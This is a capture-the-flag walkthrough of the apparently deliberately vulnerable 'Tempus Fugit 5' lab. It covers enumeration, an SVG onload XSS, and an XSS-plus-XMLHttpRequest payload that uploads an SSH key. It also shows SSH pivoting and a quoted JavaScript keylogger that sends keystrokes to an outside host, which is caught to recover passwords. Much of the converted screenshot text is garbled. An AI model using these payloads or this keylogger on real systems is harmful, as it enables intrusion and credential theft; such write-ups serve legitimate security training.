#### 

# Walkthrough

#### <u>nmap-scan</u>

Only finds port 80 open.

```
Nmap scan report for 192.168.16.42
Host is up, received arp-response (0.00066s latency).
Not shown: 65534 closed ports
Reason: 65534 resets
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 64
MAC Address: 00:0C:29:36:39:41 (VMware)
```

## <u>Nikto</u>

Does not reveal anything new

```
- Nikto v2.1.6
 Target IP:
                        192.168.16.42
  Target Hostname:
                        192.168.16.42
  Target Port:
                        80
+ Start Time:
                        2020-02-24 20:31:21 (GMT1)
+ Server: nginx
  The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect
against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the co
ntent of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
  7915 requests: 0 error(s) and 3 item(s) reported on remote host
                        2020-02-24 20:31:32 (GMT1) (11 seconds)
+ End Time:
+ 1 host(s) tested
```

## **Browsing webpage**

There is a hint there. admin@mofo.org





## <u>WFUZZ</u>

Fuzzingsubdomains

root@kali2:~ ost: FUZZ.mo	ootmkali2:~# wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "H st: FUZZ.mofo.org"hw=70 -u http://192.168.16.42							
Warning: Pyc sites. Chec	Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.							
********	*******	******	******	*******	****			
* Wfuzz 2.4	- The Web I	Fuzzer			*			
********	*********	******	*******	**********	*****			
Target: http Total reques	o://192.168 sts: 114532	.16.42/						
ID	Response	Lines	Word	Chars	Payload			
==========								
000000024:	403	6 L	19 W	151 Ch	"admin"			
000000001:	200	109 L	474 W	5727 Ch	" www "			
000001176:	200	109 L	474 W	5727 Ch	"WWW"			
000006321:	200	0 L	64 W	1143 Ch	"snap"			

# admin.mofo.org

Look promising so we start there. But

operations costs to our clients.

Error 403 - IP	Address Block × +										
← → ♂	i admin.mofo	org		🖂 🗢 ☆	lii\ 🗊	Θ 🙎 💈	• • 📀	) 😂 🦱	<b>4</b> 0	8	≓
🔶 GHDB 🔅	🛿 Most Visited 🔺 Exploit-D	B 🖨 Aircrack-ng 🗎 pe	entest 🖨 Cybe	rChef 🖨 Cross-S	ite Scripting (	X					
Your	<b>IP Address</b>	s is blocke	ed fro	m acce	ssing	this	pag	<b>e</b> .			
/ww.n	nofo.ora										
G Home   Te	empus Fugit × +										
	www.mofo.	org	entest 🖨 (vhe	··· ▽ ○ ☆	III\ 🗊	<b>9</b> 🖉 🖄	6 🛡 😪	) 😹 📤	<b>1</b> 0	8	⊒
	A Most Histed - Explored				site scripting (	A					
	TEMPUS FL	JGIT					Home	Securit	у		
			<b>NAZ</b>								
			VVelo	come							
	Mofo Group Limited (M	GL) has an entrepreneu	urial spirit that	allows us to be r	esponsive to	o our clients	s. We wor	k as a			
	motivated team that de	livers innovative, pract	tical solutions	that fulfill project	t needs and	fit within the	reality of	our client	t's		
	budgets. Our business	model allows us to de	liver the best s	ervice in our ind	ustry and fo	ster succes	sful client				
	rotationings.										
	MGL cultivates an envir	onment that encourag	jes collaborati	on, continuous ir	nprovement	and comm	nunity invo	olvement.			
	As a responsive and fle	xible engineering comp	pany, we have	established a so	olid reputatio	n because	we enjoy	what we a	do.		
	We strive to maximize t	he efficiency of the we	b infrastructu	e we design, whi	ile minimizing	g the constr	uction an	d			



#### Another hint here. «Snap»

Our new product under development, "Snap" will give our customers the ability to monitor their sites and take instant snapshots of them. We are really exited about this. **Contact** us if you whish to betatest.

## snap.mofo.org

#### Investigating.

PhotoBooth: Home	× +								
← → ♂ ŵ	① snap.mofo.org	··· 🛛 🔋 🏠		9 🙎 🖞	<u>ت</u>	🤡 🥔	- 5	0 🖏	
🜲 GHDB 🔅 Most Visit	ed 🔸 Exploit-DB 🜐 Aircrack-ng 🗎 pen	test 🖨 CyberChef 🖨 Cross-	Site Scripting (X.						
Web Photo	Booth					Home	Support		
Web Thoto	boom					Home	Support		
Cn	00								
20	ap								
URL:									
	$\bigcirc$								
u									
81		17							
e e		//							



Seams like one can take snapshots of webpages. We try http://admin.mofo.org



toBooth	Home Support	
Snap		
Home Key Staff Logs		
Staff		
Hugh Janus		Offline
Clee Torres		Offline
Anita Hanjaab		Offline
Mike Litoris		Offline
Mo Lester		Offline
Willie Stroker		Offline
Sirius Bonner		Offline
Jack Goff	Con	nected to 192.168.150.1
Ben Dover		Offline
Bud Light		Offline

       /      _ \	 \ '_ ` _ \  '_ \      /  /             ]_)    _  \ \  _   / _ /  _	           /   _    _    (  _  _ \_  _	 (_)      _`        \ [_       ] ,  _ \   / /
PhotoBooth: Snap $\leftrightarrow \rightarrow C' \mathbf{\hat{u}}$ $\neg$ GHDB $\mathbf{\hat{v}}$ Most Visited	<ul> <li>←</li> <li>←</li> <li>⊕ Snap.mofo.org/snap_submit.</li> <li>Exploit-DB ⊕ Aircrack-ng ⊨ pentest ⊕ CyberChef ⊕ Cross-Site Scripting (</li> </ul>	♥ ⊜ ☆ K	IIN EE 🛛 🖉 💿 🥑 🅔 🏔 🗮 👘
Web PhotoBo	xth		Home Support
Ċ	Snap		
	Iome     Key     Staff     Logs       Upload your key       ctorres     •       Choose File     No file chosen   Submit		

We can browse around using snapshots, but that doesn't help much. Poking around, we find that the csrf\_token can be used for bXSS.

Web PhotoBooth				Hon	ie Suppor
Suppost         Image: Suppost         Subject         Test         Description         Test	E Storage	Accessibility			
LK   ↓ Inspector ≥ Console ≥ Debugger {} style buttor {} trenormance {} Memory  ↓ Network	- storage	Filter Styles	they ds + D	E layout Computed	Changes F
<pre>v<div class="div"></div></pre>		element 🗘 {	inline	▼ Flexbox	enanges i
<textarea cols="40" name="content" placeholder="Describe your problem he&lt;br&gt;required=" rows="5" true"=""></textarea>	re"	}	hard the second	Select a Flex container or ite	m to continue.
		<pre>(nidden) + {     display: none !important</pre>	pootstrap.min.css:6		
<pre>sinput type="text" name=" csrf"</pre>		}	bootstrap min ssaid	CSS Grid is not in use on thi	s page
value=" <svg onload="document.location=http://192.168.16.86">" hidden="true"&gt; <div class="actions"></div></svg>		ouccon, input { { overflow: ▶visible;	DODISTRAD.MIN.CSS:6	T Box Model	
		1			



Combining the bXSS with a ssrf using XMLHttpRequest, we manage to upload a public SSH-key and pressing the button «Enable SSH»

email=me%40home.no&subject=sd&content=asd&\_csrf=<script>var+xhr=new+XMLHttpRequest();x hr.open('POST', 'http://admin.mofo.org/key', 'false');xhr.setRequestHeader('Content-type', 'multipart/ form-data;+boundary=--');xhr.send('----\nContent-Disposition:+form-data; +name=\"file\";filename=\"id\_rsa.pub\"\nContent-Type:+application/octet-stream\n\nsshrsa+AAAB3NzNrgIaM=\n----\nContent-Disposition:+form-data: +name=\"Submit\"\n\nSubmit\n-----');</script>

<script>var+xhr%3dnew+XMLHttpRequest();xhr.open('POST','http:// admin.mofo.org/','false');xhr.setRequestHeader('Content-type','application/x-www-formurlencoded');xhr.send('Submit=Enable+SSH');</script>



6 of 15

This opens up port 2222. We try connecting to it using our public key.

/Desktop/Studie/Wulnhub/tf5 ssh -p 2222 ctorres@www.mofo.org The authenticity of host '[www.mofo.org]:2222 ([192.168.16.42]:2222)' can't be established. ECDSA key fingerprint is SHA256:rcHPVOUrFU9hYlt/anrGbxnP25CM7wWy9UdyX3pTpY. Are you sure you want to continue connecting (yes/ho)? yes Warning: Permanently added '[www.mofo.org]:2222' (ECDSA) to the list of known hosts. Enter passphrase for key '/Users/theart42/.ssh/id\_ed25519': Inter passphrase for key '/Users/theart42/.ssh/id\_ed25519': Interactive logins are disabled on this stepping stone...

#### Remember seeing ip: 192.168150.1 on the staff page

Sirius Bonner	Offline
Jack Goff	Connected to 192.168.150.1
Ben Dover	Offline
Bud Light	Offline

#### We try using the host on 2222 as a jumphost against 192.168.150.1. And we are in,

Enter passphrase for key '/Users/theart42/.ssh/id_ed25519': Enter passphrase for key '/Users/theart42/.ssh/id_ed25519': Linux TempusFugit5 4.19.0-8-amd64 #1 SMP Debian 4.19.98-1 (2020-01-26) x86_64
$\begin{array}{c ccccccccccccccccccccccccccccccccccc$
Here we go again
You have mail. Last login: Mon Feb 24 21:05:38 2020 from 192.168.150.12 ctorres@TempusFugit5:~\$ ls -al total 48 down w y c to ctorres ctorres 4006 Ecb 24 18:20
drwsr-xF-x 6 ctorres ctorres 4096 Feb 24 18:39 .
$\frac{1}{1}$ $\frac{1}$
-W
-rw-rr- 1 ctorres ctorres 3526 Feb 20 17:37 .bashrc
drwx 3 ctorres ctorres 4096 Feb 21 17:07 .gnupg
drwx 3 ctorres ctorres 4096 Feb 24 18:20 .local
drwx 2 ctorres ctorres 4096 Feb 24 18:17 Mail
-rw-rr 1 ctorres ctorres 807 Feb 20 17:37 .profile
-rw 1 ctorres ctorres 4674 Feb 24 18:37 sent
drwx 2 ctorres ctorres 4096 Feb 22 00:26 .ssh
<pre>-rwxrwx 1 ctorres ctorres 129 Feb 21 14:55 user.txt ctorres@TempusFugit5:~\$</pre>

So, we have mail.

q:Quit	d:Del	u:Unde	el s:Save	m:l	Mail	r:Reply	g:Group	?:Help	
1 r	+ Feb	24 Hugh	Janus	(	9)	Sudo right	t		
2 r	+ Feb	24 Hugh	Janus	(	25)				
3 0	+ Feb	24 Mail	Delivery	S (	57)	Undelivere	ed Mail	Returned to	Sender
4 N	Feb	24 Hugh	Janus	(	9)	Passwords			

---Mutt: /var/mail/ctorres [Msgs:4 New:1 Old:1 5.6K]---(threads/date)-------(all)---



#### A password manager?

i:Exit -:PrevPg <Space>:NextPg v:View Attachm. d:Del r:Reply j:Next ?:Help Date: Mon, 24 Feb 2020 21:48:29 +0100 From: Hugh Janus <hjanus@TempusFugit5.mofo.org> To: Hugh Janus <hjanus@TempusFugit5.mofo.org> Subject: Passwords User-Agent: Mutt/1.10.1 (2018-07-13)

Hi All,

We now have a password manager, please store all your credentials there for safekeeping.

Thank you

Hugh Janus Mofo Management

- 4/4: Hugh Janus

Passwords

A strange outgoing e-mail... Seems like we have a rotten apple in the basket! Clee... Subject: Pass

-- (all)

#### And a payload mentioned

From ctorres@TempusFugit5.mofo.org Mon Feb 24 18:37:51 2020
Date: Mon, 24 Feb 2020 18:37:51 +0100
From: Clee Torres <ctorres@TempusFugit5.mofo.org>
To: vlad@theimpaler.com
Subject: Pass
Message-ID: <20200224173751.GA4534@TempusFugit5.mofo.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.10.1 (2018-07-13)
Status: R0
Content-Length: 60
Lines: 1

Payload is added. Soon we will have all his secrets ;-)!



Hostfile holds information of hostname of password manager

# ctorres@TempusFugit5:~\$ cat /etc/hosts127.0.0.1localhost127.0.1.1TempusFugit5.mofo.org192.168.150.1tempusfugit5.mofo.org192.168.150.10snap.mofo.org192.168.150.11www.mofo.org192.168.150.13surfer.mofo.org192.168.150.15pass.mofo.org192.168.150.1admin.mofo.org

# Doing curl <u>http://pass.mofo.org</u> verifies that it is listening. Browsing through source, also reveals a keylogger planted in source.

```
<script type="text/javascript">
    //<![CDATA[
    if (window.location.href.indexOf("page=") == -1 && (window.location.href.indexOf("otv=") == -1 && wi
    ref.indexOf("action=") == -1)) {
        if (window.location.href.indexOf("session_over=true") == -1) {
            //location.replace("./index.php?page=items");
        } else {
            location.replace("./logout.php");
        }
    }
    //]]>
//payback is a Bitch, Hugh!
//I am gonna bleed you dry...
document.onkeypress = function logKey(k) { new Image().src='http://192.168.150.1:4444/keylog.php?key='+k
```



We set up a python web server as a listener on port 4444 and waits.

ctorres@TempusFugit5:~\$ python3 -m http.server --bind 192.168.150.1 44444 Serving HTTP on 192.168.150.1 port 44444 (http://192.168.150.1:44444/) ...

#### After a couple of minutes, something is happening.

ctorres@TempusFugit5:~\$ py	thon3 -m http.ser	verbind 192.16	8.150.1 4444
Serving HTTP on 192.168.15	0.1 port 4444 (ht	tp://192.168.150.	1:4444/)
192.168.150.10 [26/Feb	/2020 22:14:04] c	ode 404, message	File not found
192.168.150.10 [26/Feb	/2020 22:14:04] "	'GET /keylog.php?k	ey=104 HTTP/1.1" 404 -
192.168.150.10 [26/Feb	/2020 22:14:04] c	ode 404, message	File not found
192.168.150.10 [26/Feb	/2020 22:14:04] "	'GET /keylog.php?k	ey=106 HTTP/1.1" 404 -
192.168.150.10 [26/Feb	/2020 22:14:04] c	ode 404, message	File not found
192.168.150.10 [26/Feb	/2020 22:14:04] "	'GET /keylog.php?k	ey=97 HTTP/1.1" 404 -
192.168.150.10 [26/Feb	/2020 22:14:04] c	ode 404, message	File not found
192.168.150.10 [26/Feb	/2020 22:14:04] "	'GET /keylog.php?k	ey=110 HTTP/1.1" 404 -
192.168.150.10 [26/Feb	/2020 22:14:04] c	ode 404, message	File not found
192.168.150.10 [26/Feb	/2020 22:14:04] "	'GET /keylog.php?k	ey=117 HTTP/1.1" 404 -
192.168.150.10 [26/Feb	/2020 22:14:04] c	ode 404, message	File not found
192.168.150.10 [26/Feb	/2020 22:14:04] "	'GET /keylog.php?k	ey=115 HTTP/1.1" 404 -
192.168.150.10 [26/Feb	/2020 22:14:05] c	ode 404, message	File not found
192.168.150.10 [26/Feb	/2020 22:14:05] "	'GET /keylog.php?k	ey=74 HTTP/1.1" 404 -
192.168.150.10 [26/Feb	/2020 22:14:05] c	ode 404, message	File not found
192.168.150.10 [26/Feb	/2020 22:14:05] "	'GET /keylog.php?k	ey=71 HTTP/1.1" 404 -
192.168.150.10 [26/Feb	/2020 22:14:05] c	ode 404, message	File not found
192.168.150.10 [26/Feb	/2020 22:14:05] "	'GET /keylog.php?k	ey=72 HTTP/1.1" 404 -
192.168.150.10 [26/Feb	/2020 22:14:05] c	ode 404, message	File not found
192.168.150.10 [26/Feb	/2020 22:14:05] "	'GET /keylog.php?k	ey=105 HTTP/1.1" 404 -
192.168.150.10 [26/Feb	/2020 22:14:05] c	ode 404, message	File not found
192.168.150.10 [26/Feb	/2020 22:14:05] "	'GET /keylog.php?k	ey=52 HTTP/1.1" 404 -
192.168.150.10 [26/Feb	/2020 22:14:05] c	ode 404, message	File not found
192.168.150.10 [26/Feb	/2020 22:14:05] "	'GET /keylog.php?k	ey=67 HTTP/1.1" 404 -
192.168.150.10 [26/Feb	/2020 22:14:05] c	ode 404, message	File not found
192.168.150.10 [26/Feb	/2020 22:14:05] "	'GET /keylog.php?k	ey=109 HTTP/1.1" 404 -
192.168.150.10 [26/Feb	/2020 22:14:05] c	ode 404, message	File not found
192.168.150.10 [26/Feb	/2020 22:14:05] "	'GET /keylog.php?k	ey=104 HTTP/1.1" 404 -
192.168.150.10 [26/Feb	/2020 22:14:05] c	ode 404, message	File not found
192.168.150.10 [26/Feb	/2020 22:14:05] "	'GET /keylog.php?k	ey=75 HTTP/1.1" 404 -
192.168.150.10 [26/Feb	/2020 22:14:05] c	ode 404, message	File not found
192.168.150.10 [26/Feb	/2020 22:14:05] "	'GET /keylog.php?k	ey=110 HTTP/1.1" 404 -
192.168.150.10 [26/Feb	/2020 22:14:06] c	ode 404, message:	File not found
192.168.150.10 [26/Feb	/2020 22:14:06] "	'GET /keylog.php?k	ey=108 HTTP/1.1" 404 -
192.168.150.10 [26/Feb	/2020 22:14:06] c	ode 404, message	File not found
192.168.150.10 [26/Feb	/2020 22:14:06] "	'GET /keylog.php?k	ey=52 HTTP/1.1" 404 -
192.168.150.10 [26/Feb	/2020 22:14:06] c	ode 404, message	File not found
192.168.150.10 [26/Feb	/2020 22:14:06] "	'GET /keylog.php?k	ey=84 HTTP/1.1" 404 -
192.168.150.10 [26/Feb	/2020 22:14:06] c	ode 404, message	File not found
192.168.150.10 [26/Feb	/2020 22:14:06] "	'GET /keylog.php?k	ey=51 HTTP/1.1" 404 -
192.168.150.10 [26/Feb	/2020 22:14:06] c	ode 404, message	File not found
192.168.150.10 [26/Feb	/2020 22:14:06] "	'GET /keylog.php?k	ey=53 HTTP/1.1" 404 -
192.168.150.10 [26/Feb	/2020 22:14:06] c	ode 404, message	File not found
192.168.150.10 [26/Feb	/2020 22:14:06] "	'GET /keylog.php?k	ey=66 HTTP/1.1" 404 -

After running it through Vim and removing al unneeded stuff, leaves us with ASCII decimal codes.

104			
104			
106			
97			
110			
117			
115			
74			
71			
72			
105			
52			
67			
109			
104			
75			
110			
108			
52			
84			
51			
53			
66			
~			

# Cyberchef does this easy for us. We have credentials: hjanus:JGHi4CmhKnl4T35B

Recipe		8 • •	Input
From Decimal		⊘ 11	104 106
Delimiter Line feed	Support signed values		97 110 117 115 74 71 72 105 52 67 109 104 104 104 105 52 67 109 104 105 52 67 109 104 105 52 67 109 104 105 52 67 109 104 105 52 67 109 104 105 52 67 109 104 105 52 67 109 104 105 52 67 109 104 105 52 67 109 104 105 52 67 109 104 105 52 67 109 104 105 52 67 109 104 105 52 67 109 104 105 52 67 109 104 105 52 67 109 104 105 52 66 105 106 106 107 107 108 52 84 51 52 84 51 53 84 51 53 84 51 53 84 51 53 84 51 53 86 86 85 86 86 85 86 86 85 86 86 86 86 86 86 86 86 86 86

A new SSH tunnel with a local port forwarding, gives us access to the password manager ssh -J ctorres@192.168.66.133:2222 -N -L 8000:192.168.150.15:80 ctorres@192.168.150.1

•••		Teampass	
$\leftarrow \   \rightarrow $	×	③ 127.0.0.1:8000	*
			ⓐ TeamPass Acollaborative Passwords Manager
			Please identify yourself Account I
•			Password
••••		•••••	60 Forgot your password?
			Log In
			am Pass 2 1.27.36 © 2009 - 2020   🖉 🤠 O Server time : 24/02/2020 - 20:58/53





We find root password:

>,sdrXCaNaKj

	Folders	Search		E 🗁 Mofo			• • • •	 A		•	•	•
· * •	Mofe (3)									•	•	
	a woo (3)			Facebook [Ou	r Faceboo	k account]			*	•		•
			-	🕂 🎮 🔖 Instagram [0	ur Instag	am account]						
•				🕂 🎮 🔖 root [Since w	ve disabl	ed sudo, we need to b	e sure we know th	e root password.]	<b>1</b>	•	٠	
												•
•										· •		•
			- 1								•	
. Č.			- 8							•	•	ľ
										٠		•
			- 1							. ·		
			- 8							•	٠	
· • •										•		۴.
•										•		•
			- 8								•	
			- 8								•	ľ.
•										٠		•
			- 1									
•			- 8							•	٠	
· • •			- H							•		۴.
•										•		•
			- 8									
. Č.			- 8							•	•	ľ.
										•		•
			- 8									
•			- 8							٠	٠	
												۴.
•										•		•
			- 1									
. Č.			•			root			5 🖵	•	•	ľ
				> Description :		Since we disabled	l sudo, we need	to be sure we know th	e root password.	•		•
				> Password :	ß	>,sdrXCaNaKj				٠.		
•				> Account :	ß	root				٠	٠	
				> Email :							•	
				> URL :		https:// %				٠		•
		-5		> Files & Images :		•				•		



You will obey or molten silver will be poured into your ears. By @4nqr34z and @theart42

Thanks to our fellow teammates in @m0t13ycr3w for betatesting! ;-)

root@TempusFugit5:~#